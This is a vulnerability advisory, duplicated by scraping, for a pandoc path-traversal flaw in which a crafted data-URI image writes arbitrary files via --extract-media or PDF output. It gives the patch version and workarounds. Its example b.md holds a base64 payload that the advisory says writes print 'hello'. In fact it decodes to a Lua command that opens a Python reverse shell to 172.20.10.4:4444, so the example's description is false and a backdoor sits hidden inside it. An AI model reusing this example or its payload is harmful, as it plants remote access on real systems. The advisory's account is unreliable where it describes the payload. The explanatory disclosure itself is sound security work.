Impact
Pandoc is susceptible to an arbitrary file write vulnerability, which can be triggered by providing a specially crafted image element in the input when generating files using the --extract-media
option or outputting to PDF format. This vulnerability allows an attacker to create or overwrite arbitrary files on the system (depending on the privileges of the process running pandoc).
This vulnerability only affects systems that (a) pass untrusted user input to pandoc and (b) allow pandoc to be used to produce a PDF or with the --extract-media
option.
Here is a simple example:
b.md:
![](data://image/png;base64,b3MuZXhlY3V0ZSgicHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChcIjE3Mi4yMC4xMC40XCIsNDQ0NCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oXCIvYmluL2Jhc2hcIiknIik=;.lua+%2f%2e%2e%2f%2e%2e%2fa%2elua)
Running
pandoc b.md --extract-media=foo
will create a new file a.lua
with contents print "hello"
in the working directory. Any directory can be targeted by adding further percent-encoded directory components to the end of the URI.
The vulnerability exploits a flaw in the code pandoc uses to ensure that extracted media items are confined to the specified directory. For media from URIs and files that are not below the working directory, pandoc creates a file name based on the SHA1 of the contents and uses the original resource's extension as the extension. Prior to the patch, it obtained the extension by finding the last .
, which in the case above includes .lua+%2f%2e%2e%2f%2e%2e%2fa%2elua
. When the file is written to the file system, the percent-encoding is resolved, so the file written is foo/2a0eaa89f43fada3e6c577beea4f2f8f53ab6a1d.lua+/../../a.lua
. In this way the exploit avoids the safeguards pandoc used to ensure that the extracted media is all confined to the specified directory (foo
).
The fix is to unescape the percent-encoding prior to checking that the resource is not above the working directory, and prior to extracting the extension. Some code for checking that the path is below the working directory was flawed in a similar way and has also been fixed.
Note that the --sandbox
option, which only affects IO done by readers and writers themselves, does not block this vulnerability.
Patches
The vulnerability is patched in pandoc 3.1.4.
Workarounds
Audit the pandoc command and disallow PDF output and the --extract-media
option.
Impact
Pandoc is susceptible to an arbitrary file write vulnerability, which can be triggered by providing a specially crafted image element in the input when generating files using the
--extract-media
option or outputting to PDF format. This vulnerability allows an attacker to create or overwrite arbitrary files on the system (depending on the privileges of the process running pandoc).This vulnerability only affects systems that (a) pass untrusted user input to pandoc and (b) allow pandoc to be used to produce a PDF or with the
--extract-media
option.Here is a simple example:
b.md:
Running
will create a new file
a.lua
with contentsprint "hello"
in the working directory. Any directory can be targeted by adding further percent-encoded directory components to the end of the URI.The vulnerability exploits a flaw in the code pandoc uses to ensure that extracted media items are confined to the specified directory. For media from URIs and files that are not below the working directory, pandoc creates a file name based on the SHA1 of the contents and uses the original resource's extension as the extension. Prior to the patch, it obtained the extension by finding the last
.
, which in the case above includes.lua+%2f%2e%2e%2f%2e%2e%2fa%2elua
. When the file is written to the file system, the percent-encoding is resolved, so the file written isfoo/2a0eaa89f43fada3e6c577beea4f2f8f53ab6a1d.lua+/../../a.lua
. In this way the exploit avoids the safeguards pandoc used to ensure that the extracted media is all confined to the specified directory (foo
).The fix is to unescape the percent-encoding prior to checking that the resource is not above the working directory, and prior to extracting the extension. Some code for checking that the path is below the working directory was flawed in a similar way and has also been fixed.
Note that the
--sandbox
option, which only affects IO done by readers and writers themselves, does not block this vulnerability.Patches
The vulnerability is patched in pandoc 3.1.4.
Workarounds
Audit the pandoc command and disallow PDF output and the
--extract-media
option.